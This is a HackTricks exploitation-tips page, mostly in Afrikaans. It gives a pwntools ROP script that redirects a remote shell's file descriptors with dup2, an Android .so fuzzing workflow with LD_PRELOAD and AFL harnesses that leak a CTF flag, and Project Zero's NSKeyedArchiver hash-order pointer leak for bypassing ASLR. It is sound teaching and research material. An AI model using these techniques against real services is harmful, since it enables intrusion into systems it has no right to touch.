Algemene uitbuitingsprobleme
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
FDs in Afstandsuitbuiting
When sending an exploit to a remote server that calls system('/bin/sh') for example, this will be executed in the server process ofc, and /bin/sh will expect input from stdin (FD: 0) and will print the output in stdout and stderr (FDs 1 and 2). So the attacker won’t be able to interact with the shell.
A way to fix this is to suppose that when the server started it created the FD number 3 (for listening) and that then, your connection is going to be in the FD number 4. Therefore, it’s possible to use the syscall dup2 to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it’ll make feasible to contact the shell once it’s executed.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Let wel dat socat reeds stdin en stdout na die socket oordra. Maar die pty-modus sluit DELETE-karakters in. Dus, as jy \x7f stuur (DELETE) sal dit die vorige karakter van jou exploit verwyder.
Om dit te omseil moet die escape character \x16 voor enige gestuurde \x7f geplaas word.
Hier kan jy find an example of this behaviour.
Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
Wanneer ’n Android-app slegs ’n gestripte AArch64 .so bevat, kan jy steeds die geëksporteerde logika direk op die toestel fuzz sonder om die APK te herbou. ’n Praktiese werkvloei:
- Locate callable entry points.
objdump -T libvalidate.so | grep -E "validate"lys vinnig geëksporteerde funksies. Decompilers (Ghidra, IDA, BN) openbaar die werklike handtekening, bv.int validate(const uint8_t *buf, uint64_t len). - Write a standalone harness. Laai ’n lêer, hou die buffer lewendig, en roep die geëksporteerde simbool presies so aan soos die app sou doen. Kruis-kompileer met die NDK (bv.
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
Minimal file-driven harness
```c #includeextern int validate(const uint8_t *buf, uint64_t len);
int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }
</details>
3. **Herstel die verwagte struktuur.** Foutstrings en vergelykings in Ghidra het getoon dat die funksie streng JSON met konstante sleutels (`magic`, `version`, geneste `root.children.*`) en rekenkundige kontroles verwerk (bv. `value * 2 == 84` ⇒ `value` moet `42` wees). Deur sintakties geldige JSON te voorsien wat stapsgewys elke vertakking bevredig, kan jy die skema sonder instrumentasie karteer.
4. **Bypass anti-debug to leak secrets.** Omdat die `.so` `snprintf` importeer, oorlaai dit met `LD_PRELOAD` om sensitiewe format strings te dump, selfs wanneer breakpoints geblokkeer is:
<details>
<summary>Minimale snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}
LD_PRELOAD=./hook.so ./validate_harness payload.json exfiltrates die interne flag en bevestig die crash oracle sonder om die binary te patch.
5. Krimp die fuzz-ruimte. Disassembly het ’n XOR key blootgestel wat oor die flag-vergelyking hergebruik is, wat beteken dat die eerste sewe bytes van flag bekend was. Fuzz slegs die nege onbekende bytes.
6. Plaas die fuzz-bytes binne ’n geldige JSON-envelope. Die AFL harness lees presies nege bytes vanaf stdin, kopieer dit in die flag-suffix, en hard-codeer elke ander veld (constants, tree depths, arithmetic preimage). Enige verkeerd gevormde read verlaat eenvoudig, sodat AFL sirkels op betekenisvolle testcases bestee:
Minimal AFL harness
```c #includeextern int validate(unsigned char *bytes, size_t len);
#define FUZZ_SIZE 9
int main(void) {
uint8_t blob[FUZZ_SIZE];
if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
char suffix[FUZZ_SIZE + 1];
memcpy(suffix, blob, FUZZ_SIZE);
suffix[FUZZ_SIZE] = ‘\0’;
char json[512];
int len = snprintf(json, sizeof(json),
“{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”,
suffix);
if (len <= 0 || (size_t)len >= sizeof(json)) return 0;
validate((unsigned char *)json, len);
return 0;
}
</details>
7. **Voer AFL uit met die crash-as-success oracle.** Enige invoer wat aan alle semantiese kontrole voldoen en die korrekte nege-byte agtervoegsel raai, veroorsaak die doelbewuste crash; daardie lêers beland in `output/crashes` en kan deur die eenvoudige harness heruitgevoer word om die geheim te onthul.
Hierdie workflow laat jou toe om anti-debug-beskermde JNI-validators vinnig te triageer, secrets te leak wanneer nodig, en slegs die betekenisvolle bytes te fuzz, alles sonder om die oorspronklike APK aan te raak.
## Image/Media Parsing Eksploitasies (DNG/TIFF/JPEG)
Kwaadaardige camera-formate lewer dikwels hul eie bytecode (opcode lists, map tables, tone curves). Wanneer 'n bevoorregte decoder versuim om metadata-afgeleide dimensies of plane indices bounds te kontroleer, word daardie opcodes aanvallers-beheerde read/write primitives wat die heap kan groom, pointers kan pivot, of selfs ASLR kan leak. Samsung's in-the-wild Quram exploit is 'n onlangse voorbeeld van die ketting van 'n `DeltaPerColumn` bounds-bug, heap spraying via skipped opcodes, vtable remapping, en 'n JOP chain na `system()`.
<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>
## Pointer-Keyed Hash Table Pointer Leaks op Apple Serialization
### Vereistes & aanvalsoppervlakte
- 'n diens aanvaar aanvallers-beheerde property lists (XML of binary) en roep `NSKeyedUnarchiver.unarchivedObjectOfClasses` met 'n permissiewe allowlist (bv., `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`).
- Die resulterende objects word hergebruik en later weer geserialiseer met `NSKeyedArchiver` (of ge-iterate in deterministiese bucket-orde) en teruggestuur aan die aanvaller.
- Sommige sleutel-tipe in die houers gebruik pointer-waardes as sy hash code. Voor Maart 2025 het `CFNull`/`NSNull` teruggeval na `CFHash(object) == (uintptr_t)object`, en deserialisering het altyd die shared-cache singleton `kCFNull` teruggegee, wat 'n stabiele kernel-gedeelde pointer gee sonder geheue-korrupsie of timing.
### Beheersbare hash-primitiewe
- **Pointer-based hashing:** `CFNull` se `CFRuntimeClass` het nie 'n hash-callback nie, dus gebruik `CFBasicHash` die objekadres as die hash. Omdat die singleton op 'n vaste shared-cache-adres leef tot 'n reboot, is sy hash stabiel oor prosesse.
- **Attacker-controlled hashes:** 32-bit `NSNumber` sleutels word gehashed via `_CFHashInt`, wat deterministies en deur die aanvaller beheerbaar is. Deur spesifieke integers te kies kan die aanvaller `hash(number) % num_buckets` kies vir enige tabelgrootte.
- **`NSDictionary` implementation:** Immutable dictionaries bevat 'n `CFBasicHash` met 'n prime bucket count gekies uit `__CFBasicHashTableSizes` (bv., 23, 41, 71, 127, 191, 251, 383, 631, 1087). Botsings word afgehandel met linear probing (`__kCFBasicHashLinearHashingValue`), en serialisering loop deur buckets in numeriese volgorde; daarom kodeer die volgorde van geserialiseerde sleutels die emmer-indeks wat elke sleutel uiteindelik beset het.
### Kodering van emmer-indekse in serialiseringsorde
Deur 'n plist te konstruer wat 'n dictionary materialiseer waarvan die buckets afwissel tussen besette en leë slotte, beperk die aanvaller waar linear probing `NSNull` kan plaas. Vir 'n 7-emmer voorbeeld, produseer die invul van ewe emmers met `NSNumber` sleutels:
```text
bucket: 0 1 2 3 4 5 6
occupancy: # _ # _ # _ #
Tydens deserialisering plaas die slagoffer die enkele NSNull sleutel. Sy aanvanklike emmer is hash(NSNull) % 7, maar die probing beweeg vorentoe totdat een van die oop indekse {1,3,5} bereik word. Die geserialiseerde sleutelvolgorde openbaar watter slot gebruik is, en gee dus aan of die pointer hash modulo 7 in {6,0,1}, {2,3}, of {4,5} val. Omdat die aanvaller die oorspronklike geserialiseerde volgorde beheer, word die NSNull sleutel laaste in die invoer plist uitgegee, sodat die ordening na die reserialisering uitsluitlik ’n funksie van emmerplasing is.
Bepaling van presiese residuë met komplementeerpatrone
Een enkele dictionary leaks slegs ’n reeks residuë. Om die presiese waarde van hash(NSNull) % p te bepaal, bou twee dictionaries per priem-emmergrootte p: een met ewe emmers vooraf gevul en een met onewe emmers vooraf gevul. Vir die komplementeerpatroon (_ # _ # _ # _) ooreenstem die leë slote (0,2,4,6) met residu-stelle {0}, {1,2}, {3,4}, {5,6}. Deur die geserialiseerde posisie van NSNull in beide dictionaries waar te neem, word die residu tot ’n enkele waarde ingeperk omdat die kruising van die twee kandidaatstelle ’n unieke r_i vir daardie p oplewer.
Die aanvaller bundel alle dictionaries binne ’n NSArray, sodat ’n enkele deserialiseer → serialiseer rondreis residues vir elke gekose tabelgrootte leaks.
Herbou van die 64-bit shared-cache-aanwyser
Vir elke priem p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087} herstel die aanvaller hash(NSNull) ≡ r_i (mod p_i) uit die geserialiseerde ordening. Die toepassing van die Chinese Remainder Theorem (CRT) met die uitgebreide Euclidiese algoritme lewer:
Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64
so the combined residue uniquely equals the 64-bit pointer to kCFNull. Project Zero PoC kombineer iteratief kongruensies en druk tussentydse moduli om die konvergensie na die werklike adres (0x00000001eb91ab60 op die kwesbare weergawe) te toon.
Praktiese werkvloei
- Generate crafted input: Bou die aanvallerskant XML plist (two dictionaries per prime,
NSNullserialized last) en omskep dit na binêre formaat.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
- Victim round trip: Die slagofferdiens deserialiseer met
NSKeyedUnarchiver.unarchivedObjectOfClassesmet die toegelate klasse stel{NSDictionary, NSArray, NSNumber, NSString, NSNull}en herserialiseer onmiddellik metNSKeyedArchiver. - Residue extraction: Die omskakeling van die teruggegewe plist terug na XML openbaar die dictionary key ordering. ’n Helper soos
extract-pointer.clees die object table, bepaal die indeks van die singletonNSNull, map elke dictionary pair terug na sy bucket residue, en los die CRT-stelsel op om die shared-cache pointer te herwin. - Verification (optional): Die samestelling van ’n klein Objective-C-hulpprogram wat
CFHash(kCFNull)druk, bevestig dat die leaked value ooreenstem met die werklike adres.
Geen memory safety bug is nodig nie—net die waarneming van die serialization order van pointer-keyed structures lewer ’n remote ASLR bypass primitive.
Verwante bladsye
Common Exploiting Problems Unsafe Relocation Fixups
Reversing Tools & Basic Methods
References
- FD duplication exploit example
- Socat delete-character behaviour
- FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library
- Pointer leaks through pointer-keyed data structures (Project Zero)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


